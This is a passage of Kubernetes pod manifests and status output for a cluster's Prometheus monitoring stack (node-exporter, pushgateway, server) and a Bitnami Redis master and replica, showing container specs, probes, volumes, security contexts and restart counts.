    uid: 7a5f33f7-eb0f-4267-8b73-5d6a05ce48af
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-2
    automountServiceAccountToken: false
    containers:
    - args:
      - --path.procfs=/host/proc
      - --path.sysfs=/host/sys
      - --path.rootfs=/host/root
      - --path.udev.data=/host/root/run/udev/data
      - --web.listen-address=[$(HOST_IP)]:9100
      env:
      - name: HOST_IP
        value: 0.0.0.0
      image: quay.io/prometheus/node-exporter:v1.9.1
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: metrics
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: node-exporter
      ports:
      - containerPort: 9100
        hostPort: 9100
        name: metrics
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: metrics
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /host/proc
        name: proc
        readOnly: true
      - mountPath: /host/sys
        name: sys
        readOnly: true
      - mountPath: /host/root
        mountPropagation: HostToContainer
        name: root
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    hostPID: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 65534
      runAsGroup: 65534
      runAsNonRoot: true
      runAsUser: 65534
    serviceAccount: prometheus-community-prometheus-node-exporter
    serviceAccountName: prometheus-community-prometheus-node-exporter
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoSchedule
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - hostPath:
        path: /proc
        type: ""
      name: proc
    - hostPath:
        path: /sys
        type: ""
      name: sys
    - hostPath:
        path: /
        type: ""
      name: root
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:31Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-09T21:35:40Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:36Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:36Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-09T21:35:40Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://c6be03226cf93a8ebcd5cd1d7c4a7fe4e34aa7b4698813df04216cb3d152b32c
      image: quay.io/prometheus/node-exporter:v1.9.1
      imageID: quay.io/prometheus/node-exporter@sha256:d00a542e409ee618a4edc67da14dd48c5da66726bbd5537ab2af9c1dfc442c8a
      lastState:
        terminated:
          containerID: containerd://c229e902f84f18b97088bdf22498a271e7cc502436315514e3283fab17e64bc8
          exitCode: 255
          finishedAt: "2025-11-29T13:23:09Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:13Z"
      name: node-exporter
      ready: true
      resources: {}
      restartCount: 8
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:30Z"
      volumeMounts:
      - mountPath: /host/proc
        name: proc
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /host/sys
        name: sys
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /host/root
        name: root
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 172.16.30.17
    podIPs:
    - ip: 172.16.30.17
    qosClass: BestEffort
    startTime: "2025-10-09T21:35:40Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 151a37523b1e1d93f5de299535683ae24835923e4d2ea00a8490fc1fe9e4ceed
      cni.projectcalico.org/podIP: 192.168.133.187/32
      cni.projectcalico.org/podIPs: 192.168.133.187/32
    creationTimestamp: "2025-11-25T15:22:43Z"
    generateName: prometheus-community-prometheus-pushgateway-69cb7cfdbb-
    generation: 1
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-pushgateway
      app.kubernetes.io/version: v1.11.1
      helm.sh/chart: prometheus-pushgateway-3.4.1
      pod-template-hash: 69cb7cfdbb
    name: prometheus-community-prometheus-pushgateway-69cb7cfdbb-s5gqp
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: prometheus-community-prometheus-pushgateway-69cb7cfdbb
      uid: 9428a1c1-f71a-4c26-82ad-ddad15d054a8
    resourceVersion: "18007885"
    uid: 2b4de705-76d0-4e04-98ba-70afb2966fc4
  spec:
    automountServiceAccountToken: true
    containers:
    - image: quay.io/prometheus/pushgateway:v1.11.1
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /-/healthy
          port: 9091
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 10
      name: pushgateway
      ports:
      - containerPort: 9091
        name: metrics
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /-/ready
          port: 9091
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 10
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /data
        name: storage-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hw2xt
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 65534
      runAsNonRoot: true
      runAsUser: 65534
    serviceAccount: prometheus-community-prometheus-pushgateway
    serviceAccountName: prometheus-community-prometheus-pushgateway
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: storage-volume
    - name: kube-api-access-hw2xt
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:14Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:43Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:26Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:26Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:43Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://f526c44d8098b4aa3a17f4efda2e36962b566e119beb44bf06c15746e47cc34e
      image: quay.io/prometheus/pushgateway:v1.11.1
      imageID: quay.io/prometheus/pushgateway@sha256:03738d278e082ee9821df730c741b3b465c251fc2b68a85883def301a55a6215
      lastState:
        terminated:
          containerID: containerd://cfbd5f855cd4c3748484f9c0df89b541e20e0f5de5f1d94f2b14a7ea59a04ec6
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:59Z"
      name: pushgateway
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:13Z"
      volumeMounts:
      - mountPath: /data
        name: storage-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hw2xt
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.187
    podIPs:
    - ip: 192.168.133.187
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:43Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 382c2cb08e8a5dc7218e141691ddc230cf14719c0703e3d618a09dcc007391d8
      cni.projectcalico.org/podIP: 192.168.61.201/32
      cni.projectcalico.org/podIPs: 192.168.61.201/32
    creationTimestamp: "2025-11-04T00:53:29Z"
    generateName: prometheus-community-server-7c866c8b56-
    generation: 1
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      helm.sh/chart: prometheus-27.39.0
      pod-template-hash: 7c866c8b56
    name: prometheus-community-server-7c866c8b56-8lndl
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: prometheus-community-server-7c866c8b56
      uid: 5404a57c-c654-439a-ae95-781cfe5c4615
    resourceVersion: "18034282"
    uid: 1d099244-a251-467c-a521-027af54b3f4e
  spec:
    containers:
    - args:
      - --watched-dir=/etc/config
      - --listen-address=0.0.0.0:8080
      - --reload-url=http://127.0.0.1:9090/-/reload
      image: quay.io/prometheus-operator/prometheus-config-reloader:v0.85.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /healthz
          port: metrics
          scheme: HTTP
        initialDelaySeconds: 2
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: prometheus-server-configmap-reload
      ports:
      - containerPort: 8080
        name: metrics
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /healthz
          port: metrics
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/config
        name: config-volume
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hhs7z
        readOnly: true
    - args:
      - --storage.tsdb.retention.time=15d
      - --config.file=/etc/config/prometheus.yml
      - --storage.tsdb.path=/data
      - --web.console.libraries=/etc/prometheus/console_libraries
      - --web.console.templates=/etc/prometheus/consoles
      - --web.enable-lifecycle
      image: quay.io/prometheus/prometheus:v3.6.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /-/healthy
          port: 9090
          scheme: HTTP
        initialDelaySeconds: 30
        periodSeconds: 15
        successThreshold: 1
        timeoutSeconds: 10
      name: prometheus-server
      ports:
      - containerPort: 9090
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /-/ready
          port: 9090
          scheme: HTTP
        initialDelaySeconds: 30
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 4
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/config
        name: config-volume
      - mountPath: /data
        name: storage-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hhs7z
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 65534
      runAsGroup: 65534
      runAsNonRoot: true
      runAsUser: 65534
    serviceAccount: prometheus-community-server
    serviceAccountName: prometheus-community-server
    terminationGracePeriodSeconds: 300
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        name: prometheus-community-server
      name: config-volume
    - name: storage-volume
      persistentVolumeClaim:
        claimName: prometheus-community-server
    - name: kube-api-access-hhs7z
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:55Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:24Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:24Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://59a4e44f280f891d520d4b379637f8f3ca14ee7b63046a83d670b949459182ff
      image: quay.io/prometheus/prometheus:v3.6.0
      imageID: quay.io/prometheus/prometheus@sha256:76947e7ef22f8a698fc638f706685909be425dbe09bd7a2cd7aca849f79b5f64
      lastState:
        terminated:
          containerID: containerd://e08cd39671b9498407528aff26b6d8a7af6923800641288e8bb7d5773e137216
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:53Z"
      name: prometheus-server
      ready: true
      resources: {}
      restartCount: 14
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:54Z"
      volumeMounts:
      - mountPath: /etc/config
        name: config-volume
      - mountPath: /data
        name: storage-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hhs7z
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://30cb6f59c96920111d87506373d92588951edf32c3b0f859a7beb6a6fb0dc53e
      image: quay.io/prometheus-operator/prometheus-config-reloader:v0.85.0
      imageID: quay.io/prometheus-operator/prometheus-config-reloader@sha256:ebb560bcb6bd3ab728a7ab61d77d22a001cc0c7a67f0531e7f92e20ce004de38
      lastState:
        terminated:
          containerID: containerd://ceeb94c48c154afe220a79924ed509d86220293cbb2eefb6ab7ae856a01033a2
          exitCode: 255
          finishedAt: "2025-11-29T13:23:09Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:52Z"
      name: prometheus-server-configmap-reload
      ready: true
      resources: {}
      restartCount: 4
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:52Z"
      volumeMounts:
      - mountPath: /etc/config
        name: config-volume
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hhs7z
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.201
    podIPs:
    - ip: 192.168.61.201
    qosClass: BestEffort
    startTime: "2025-11-04T00:53:29Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/configmap: 95944ee35a19af37cefd156f19d93e157e578c1dc63ac01ce735ae93090b7580
      checksum/health: aff24913d801436ea469d8d374b2ddb3ec4c43ee7ab24663d5f8ff1a1b6991a9
      checksum/scripts: b4230d7912970032380858b68faf87b6171144b993066fe53c7a324fadf43b36
      checksum/secret: f22ab0f12d1b1d837da6d8da4b2d91e66e99c4b0ed0b3c1c78bd6ab2ca8c3824
      cni.projectcalico.org/containerID: beb431fb3c1b6430c021106edefbed009c12be1f1a2875f392a0e44e9338b4ae
      cni.projectcalico.org/podIP: 192.168.34.34/32
      cni.projectcalico.org/podIPs: 192.168.34.34/32
    creationTimestamp: "2025-10-19T11:15:45Z"
    generateName: redis-master-
    generation: 1
    labels:
      app.kubernetes.io/component: master
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      apps.kubernetes.io/pod-index: "0"
      controller-revision-hash: redis-master-5bfd46c97d
      helm.sh/chart: redis-23.1.3
      statefulset.kubernetes.io/pod-name: redis-master-0
    name: redis-master-0
    namespace: redis
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: redis-master
      uid: 6d1f7889-12ce-46bd-a8a8-a3a60d538314
    resourceVersion: "18046449"
    uid: f4b0f3e8-7e7d-4e22-8b81-8a62c53e45e7
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchLabels:
                app.kubernetes.io/component: master
                app.kubernetes.io/instance: redis
                app.kubernetes.io/name: redis
            topologyKey: kubernetes.io/hostname
          weight: 1
    automountServiceAccountToken: false
    containers:
    - args:
      - -ec
      - /opt/bitnami/scripts/start-scripts/start-master.sh
      command:
      - /bin/bash
      env:
      - name: BITNAMI_DEBUG
        value: "false"
      - name: REDIS_REPLICATION_MODE
        value: master
      - name: ALLOW_EMPTY_PASSWORD
        value: "no"
      - name: REDIS_PASSWORD_FILE
        value: /opt/bitnami/redis/secrets/redis-password
      - name: REDIS_TLS_ENABLED
        value: "no"
      - name: REDIS_PORT
        value: "6379"
      image: registry-1.docker.io/bitnami/redis:latest
      imagePullPolicy: IfNotPresent
      livenessProbe:
        exec:
          command:
          - /bin/bash
          - -ec
          - /health/ping_liveness_local.sh 5
        failureThreshold: 5
        initialDelaySeconds: 20
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 6
      name: redis
      ports:
      - containerPort: 6379
        name: redis
        protocol: TCP
      readinessProbe:
        exec:
          command:
          - /bin/bash
          - -ec
          - /health/ping_readiness_local.sh 1
        failureThreshold: 5
        initialDelaySeconds: 20
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 2
      resources:
        limits:
          cpu: 150m
          ephemeral-storage: 2Gi
          memory: 192Mi
        requests:
          cpu: 100m
          ephemeral-storage: 50Mi
          memory: 128Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsGroup: 1001
        runAsNonRoot: true
        runAsUser: 1001
        seLinuxOptions: {}
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /opt/bitnami/scripts/start-scripts
        name: start-scripts
      - mountPath: /health
        name: health
      - mountPath: /opt/bitnami/redis/secrets/
        name: redis-password
      - mountPath: /data
        name: redis-data
      - mountPath: /opt/bitnami/redis/mounted-etc
        name: config
      - mountPath: /opt/bitnami/redis/etc/
        name: empty-dir
        subPath: app-conf-dir
      - mountPath: /tmp
        name: empty-dir
        subPath: tmp-dir
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: redis-master-0
    nodeName: k8s-m-3
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 1001
      fsGroupChangePolicy: Always
    serviceAccount: redis-master
    serviceAccountName: redis-master
    subdomain: redis-headless
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: redis-data
      persistentVolumeClaim:
        claimName: redis-data-redis-master-0
    - configMap:
        defaultMode: 493
        name: redis-scripts
      name: start-scripts
    - configMap:
        defaultMode: 493
        name: redis-health
      name: health
    - name: redis-password
      secret:
        defaultMode: 420
        items:
        - key: redis-password
          path: redis-password
        secretName: redis
    - configMap:
        defaultMode: 420
        name: redis-configuration
      name: config
    - emptyDir: {}
      name: empty-dir
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:19Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T11:15:45Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:41Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:41Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T11:15:45Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        ephemeral-storage: 50Mi
        memory: 128Mi
      containerID: containerd://47ae9c2dba58f8e125cb04748bfe597baf523eeae2e5a2329735e9f5aa04a0fd
      image: registry-1.docker.io/bitnami/redis:latest
      imageID: registry-1.docker.io/bitnami/redis@sha256:142ab4d0c251bcf5466fffd33766350af718a6725cb926710be19fad00b2b035
      lastState:
        terminated:
          containerID: containerd://a7a22f7fdcd355094cee3ab0af9e4910dc9da45da16ba6405932db81b7f0eba1
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:53Z"
      name: redis
      ready: true
      resources:
        limits:
          cpu: 150m
          ephemeral-storage: 2Gi
          memory: 192Mi
        requests:
          cpu: 100m
          ephemeral-storage: 50Mi
          memory: 128Mi
      restartCount: 4
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:18Z"
      volumeMounts:
      - mountPath: /opt/bitnami/scripts/start-scripts
        name: start-scripts
      - mountPath: /health
        name: health
      - mountPath: /opt/bitnami/redis/secrets/
        name: redis-password
      - mountPath: /data
        name: redis-data
      - mountPath: /opt/bitnami/redis/mounted-etc
        name: config
      - mountPath: /opt/bitnami/redis/etc/
        name: empty-dir
      - mountPath: /tmp
        name: empty-dir
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.34
    podIPs:
    - ip: 192.168.34.34
    qosClass: Burstable
    startTime: "2025-10-19T11:15:45Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/configmap: 95944ee35a19af37cefd156f19d93e157e578c1dc63ac01ce735ae93090b7580
      checksum/health: aff24913d801436ea469d8d374b2ddb3ec4c43ee7ab24663d5f8ff1a1b6991a9
      checksum/scripts: b4230d7912970032380858b68faf87b6171144b993066fe53c7a324fadf43b36
      checksum/secret: f22ab0f12d1b1d837da6d8da4b2d91e66e99c4b0ed0b3c1c78bd6ab2ca8c3824
      cni.projectcalico.org/containerID: 39c4d206b2e7102a95d167bdb443c57b6860bf87a6c0019a278017c63b143b5b
      cni.projectcalico.org/podIP: 192.168.34.35/32
      cni.projectcalico.org/podIPs: 192.168.34.35/32
    creationTimestamp: "2025-10-19T11:15:45Z"
    generateName: redis-replicas-
    generation: 1
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      apps.kubernetes.io/pod-index: "0"
      controller-revision-hash: redis-replicas-85686886bc
      helm.sh/chart: redis-23.1.3
      statefulset.kubernetes.io/pod-name: redis-replicas-0
    name: redis-replicas-0
    namespace: redis
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: redis-replicas
      uid: 3d28299e-55d8-43fc-9661-000a25f0bf64
    resourceVersion: "18046494"
    uid: 40056cc8-1ed6-474c-a239-abd29a527c86
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchLabels:
                app.kubernetes.io/component: replica
                app.kubernetes.io/instance: redis
                app.kubernetes.io/name: redis
            topologyKey: kubernetes.io/hostname
          weight: 1
    automountServiceAccountToken: false
    containers:
    - args:
      - -ec
      - /opt/bitnami/scripts/start-scripts/start-replica.sh
      command:
      - /bin/bash
      env:
      - name: BITNAMI_DEBUG
        value: "false"
      - name: REDIS_REPLICATION_MODE
        value: replica
      - name: REDIS_MASTER_HOST
        value: redis-master-0.redis-headless.redis.svc.cluster.local
      - name: REDIS_MASTER_PORT_NUMBER
        value: "6379"
      - name: ALLOW_EMPTY_PASSWORD
        value: "no"
      - name: REDIS_PASSWORD_FILE
        value: /opt/bitnami/redis/secrets/redis-password
      - name: REDIS_MASTER_PASSWORD_FILE
        value: /opt/bitnami/redis/secrets/redis-password
      - name: REDIS_TLS_ENABLED
        value: "no"
      - name: REDIS_PORT
        value: "6379"
      image: registry-1.docker.io/bitnami/redis:latest
      imagePullPolicy: IfNotPresent
      livenessProbe:
        exec:
          command:
          - /bin/bash
          - -ec
          - /health/ping_liveness_local_and_master.sh 5
        failureThreshold: 5
        initialDelaySeconds: 20
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 6
      name: redis
      ports:
      - containerPort: 6379
        name: redis
        protocol: TCP
      readinessProbe:
        exec:
          command:
          - /bin/bash
          - -ec
          - /health/ping_readiness_local_and_master.sh 1
        failureThreshold: 5
        initialDelaySeconds: 20
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 2
      resources:
        limits:
          cpu: 150m
          ephemeral-storage: 2Gi
          memory: 192Mi
        requests:
          cpu: 100m
          ephemeral-storage: 50Mi
          memory: 128Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsGroup: 1001
        runAsNonRoot: true
        runAsUser: 1001
        seLinuxOptions: {}
        seccompProfile:
          type: RuntimeDefault
      startupProbe:
        failureThreshold: 22
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        tcpSocket:
          port: redis
        timeoutSeconds: 5
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /opt/bitnami/scripts/start-scripts
        name: start-scripts
      - mountPath: /health
        name: health
      - mountPath: /opt/bitnami/redis/secrets/
        name: redis-password
      - mountPath: /data
        name: redis-data
      - mountPath: /opt/bitnami/redis/mounted-etc
        name: config
      - mountPath: /opt/bitnami/redis/etc
        name: empty-dir
        subPath: app-conf-dir
      - mountPath: /tmp
        name: empty-dir
        subPath: tmp-dir
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: redis-replicas-0
    nodeName: k8s-m-3
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 1001
      fsGroupChangePolicy: Always
    serviceAccount: redis-replica
    serviceAccountName: redis-replica
    subdomain: redis-headless
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: redis-data
      persistentVolumeClaim:
        claimName: redis-data-redis-replicas-0
    - configMap:
        defaultMode: 493
        name: redis-scripts
      name: start-scripts
    - configMap:
        defaultMode: 493
        name: redis-health
      name: health
    - name: redis-password
      secret:
        defaultMode: 420
        items:
        - key: redis-password
          path: redis-password
        secretName: redis
    - configMap:
        defaultMode: 420
        name: redis-configuration
      name: config
    - emptyDir: {}
      name: empty-dir
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:18Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T11:15:45Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:47Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:47Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T11:15:45Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        ephemeral-storage: 50Mi
        memory: 128Mi
      containerID: containerd://79177020f16b814b939eae89e55f3037d34dd23bf489d257cac88c17cda301ff
      image: registry-1.docker.io/bitnami/redis:latest
      imageID: registry-1.docker.io/bitnami/redis@sha256:142ab4d0c251bcf5466fffd33766350af718a6725cb926710be19fad00b2b035
      lastState:
        terminated:
          containerID: containerd://93627056e37c4aa00279f4dc7f703a9a8ce15db31a9867aa54181dfa3b6dcdb3
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-29T11:13:30Z"
      name: redis
      ready: true
      resources:
        limits:
          cpu: 150m
          ephemeral-storage: 2Gi
          memory: 192Mi
        requests:
          cpu: 100m
          ephemeral-storage: 50Mi
          memory: 128Mi
      restartCount: 30
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:17Z"
      volumeMounts:
